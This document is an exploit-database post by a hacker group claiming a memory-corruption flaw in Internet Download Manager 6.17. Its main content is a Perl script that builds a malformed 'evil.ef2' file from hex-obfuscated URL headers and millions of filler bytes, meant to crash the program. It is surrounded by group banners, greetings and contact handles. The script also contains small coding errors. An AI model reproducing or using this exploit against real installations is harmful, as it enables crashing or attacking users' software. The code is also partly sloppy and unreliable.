#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
#0 _ __ __ __ 1
#1 /' \ __ /'__`\ /\ \__ /'__`\ 0
#0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
#1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
#0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
#1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
#0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
#1 \ \____/ >> Exploit database separated by exploit 0
#0 \/___/ type (local, remote, DoS, etc.) 1
#1 1
#0 [+] Site : 1337day.com 0
#1 [+] Support e-mail : submit[at]1337day.com 1
#0 0
#1 ######################################### 1
#0 I'm The Black Devils member from Inj3ct0r Team 1
#1 ######################################### 0
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
# Title : Internet Download Manager 6.17 (.ef2) Memory Corruption
# Date: 2013-01-12
# Software Link: http://www.internetdownloadmanager.com/
# Author: The Black Devils
# Tested on: Windows XP SP3
# Home: http://1337day.com
# Greeting To :Arab47 / 3xp1r3 Cyber Army / RedHatHackers / Inj3ct0r Team
#---------------------------------------------------------------------------------------------#
#!/usr/bin/perl
system("title The Black Devils");
system("color 1e");
system("cls");
print "\n\n";
print " |=======================================================|\n";
print " |= [!] Name : Internet Download Manager 6.17 ||.ef2 =|\n";
print " |= [!] Exploit : Memory Corruption =|\n";
print " |= [!] Author : The Black Devils =|\n";
print " |= [!] Mail: mr.k4rizma(at)gmail(dot)com =|\n";
print " |=======================================================|\n";
sleep(2);
print "\n";
# Creating ...
my $header = "\x3c\n";
my $header1 = "\x3e\n";
my $header2 = "\x68\x74\x74\x70\x3a\x2f\x2f";
my $header3 = "\x77\x77\x77\x2e\x31\x33\x33\x37\x64\x61\x79\x2e\x63\x6f\x6d\x2f\x65\x78\x70\x6c?\x6f\x69\x74\x73\x2f\x31\x39\x32\x31\x31\n";
my $header4 ="\x2e\x63\x6f\x6d\x2f\x64\x61\x72\x6b\x70\x75\x7a\x7a\x6c\x65\x2e\x74\x78\x74\?n";
my $poc = "\x41" x 2000000;
my $poc1 = "\x42" x 400000 ;
my $file = "evil.ef2";
open ($File, ">$file");
print $File $header.$header1.$header2.$header3.$header4.$poc.$poc1;
print "\n [+] File successfully created!\n" or die print "\n [-] OupsS! File is Not Created !! ";
close(file);
#---------------------------------------------------------------------------------------------#
Happy BirthDay Joseph
#---------------------------------------------------------------------------------------------#
Greetings
KedAns-Dz, x3o-1337 , Red V!per , KinG Of PiraTeS, r0073r, 3xp1r3 Cyber Army ,redhathackers , Gabby ,Sweeta ,
SH3LL05DZ, Aghilas , abood , JoKeR_StEx , all my friends & All Dz Hackers ,
Thanks to all the members of :
http://1337day.com/
http://www.arab47.com/
http://www.redhathackers.org/
http://forum.3xp1r3.com
# Contact :
#------------------
# Fane Page : www.facebook.com/Th3.Black.D3Vils
# Blog : http://asesino04.blogspot.com/
# Youtube : www.youtube.com/user/Th3BlackDevils
# Facebook : www.facebook.com/DevilsDz
# Email : mr.k4rizma@gmail.com
-------------------
Screen names
mr.k4rizma(Google Talk)
mr.k4rizma(Windows Live Messenger)
mr.k4rizma(Skype)
th3blackdevils(Twitter)